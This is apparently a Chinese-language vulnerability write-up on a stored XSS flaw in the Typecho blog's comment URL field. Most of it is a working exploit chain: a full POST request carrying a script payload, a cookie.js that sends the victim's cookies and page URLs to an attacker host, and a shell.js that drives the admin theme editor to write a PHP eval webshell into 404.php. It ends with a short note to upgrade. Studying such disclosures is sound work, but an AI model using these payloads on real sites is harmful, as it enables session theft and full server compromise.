漏洞信息

漏洞ID: N/A漏洞类型: 存储型XSS漏洞
发布时间: 2023-03-25更新时间: 2023-03-28
CVE编号: N/ACNVD-ID: N/A
漏洞平台: N/ACVSS评分: N/A

漏洞分析

Typecho基于PHP5开发,支持多种数据库,是一款内核强健﹑扩展方便﹑体验友好﹑运行流畅的轻量级开源博客程序。其中评论模块的url参数存在存储型的XSS漏洞。

攻击成本:低
危害程度:高
是否登陆:不需要
影响范围:version <= 1.2.0

漏洞重现

Typecho的评论URL填写具有存储型的XSS漏洞。
1.使用xss有效负载对任何身份的文章发表评论
2.在文件/usr/themes/default/comments.php可以看到url参数只过滤开头,没有任何其他保护,直接回显到html。
3.再次访问网站时会触发 XSS。

comments文件截图

漏洞利用

POC
POST /index.php/archives/1/comment with:

The full POC request:

POST /index.php/archives/1/comment HTTP/1.1
Host: 127.0.0.1
Content-Length: 143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1/index.php/archives/1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

author=123&mail=123%40123.com&url=http://xxx.xxx.com/"></a><script>alert("hack")</script><a/href="#&text=123&_=9d8302e080b9c139354b528787f1e5e4

手动
验证:http://xxx.xxx.com/"></a><script>alert("hack")</script><a/href="#

cookie.js

// 定义一个全局变量 website,值为一个具体的网址
var website = "http://xss.xxxx.com";

// 声明并立即执行一个匿名函数
(function() {
  // 创建 Image 对象,并给它的 src 属性赋值为 website 和一些参数
  (new Image()).src = website
    + "/?keepsession=1"
    + "&location=" + escape((function() {
      try {
        // 尝试获取当前文档的 URL
        return document.location.href;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&toplocation=" + escape((function() {
      try {
        // 尝试获取顶层窗口的 URL
        return top.location.href;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&cookie=" + escape((function() {
      try {
        // 获取当前文档的 cookie
        return document.cookie;
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })())
    + "&opener=" + escape((function() {
      try {
        // 获取打开当前窗口的窗口的 URL
        return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
      } catch (e) {
        // 如果出错,返回一个空字符串
        return '';
      }
    })());
})();

shell.js

function step1(){
    // 创建一个包含要注入的 iframe 的 HTML 字符串
    var data2="<iframe id=\"testxss\" src=\"/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>";
    // 保存原网页内容
    var oldata=document.body.innerHTML;
    // 将注入的 iframe 添加到文档中
    document.body.innerHTML=(oldata+data2);
}

// times 和 g_shell 变量用来跟踪 poc 函数执行的次数和是否已经成功注入 webshell
var times=0;
var g_shell=0;

function poc(){
    // 如果执行次数 >= 10,或者已经成功注入 webshell,就不再执行
    if(times<=10){

        // 获取要修改的 DOM 节点和触发“保存修改”操作的按钮
        var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
        var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
        
        // 保存要修改的原始数据,将要注入的 webshell 代码添加到末尾
        olddatas=htmldata.innerText;
        htmldata.innerText=('<?php @eval($_REQUEST["shell"]);?>\n')+olddatas;

        // 点击保存按钮,提交修改后的数据
        btn[1].click();
        
        // 增加 poc 函数的执行次数
        times+=1;
        
        // 如果已经成功注入 webshell,通过 AJAX 请求访问 webshell 接口
        if(g_shell==1){
            var xhr1=new XMLHttpRequest();
            xhr1.open('get','/usr/themes/Kratos/404.php?shell=1');
            xhr1.send();
        }
        else{
            return 0;
        }
    }
}

// 在页面加载完成后执行 step1 函数
step1();



通过数据库已经可以查看到刚刚写入的url了,管理员访问后台评论会加载js文件里面的内容


之后会在404.php 文件里面写入一句话木马

http://xxx/"></a><script>alert(document.cookie)</script><a/href="#

修复方案

尽快升级到最新版,V1.2.1 rc的版本是已经修补,但还是建议更新到最新版本

最后修改:2023 年 04 月 27 日
-